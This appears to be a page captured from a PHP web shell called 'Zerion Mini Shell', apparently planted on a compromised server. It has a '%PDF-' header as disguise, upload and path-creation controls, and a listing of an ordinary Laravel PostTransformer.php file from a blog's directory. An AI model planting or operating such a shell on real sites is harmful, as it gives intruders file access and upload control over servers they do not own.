%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/evablog/app/Transformers/
Upload File :
Create Path :
Current File : /var/www/html/evablog/app/Transformers/PostTransformer.php

<?php

namespace App\Transformers;

use App\Models\Post;

class PostTransformer extends BaseTransformer
{
    /**
     * @param Post $post
     * @return array
     */
    public function transform(Post $post)
    {
        return [
            'id'          => (int)$post->id,
            'title'       => (string)$post->title,
            'description' => (string)$post->description,
            'preview'     => (string)asset($post->media()->first()->getUrl()),
        ];
    }
}

Zerion Mini Shell 1.0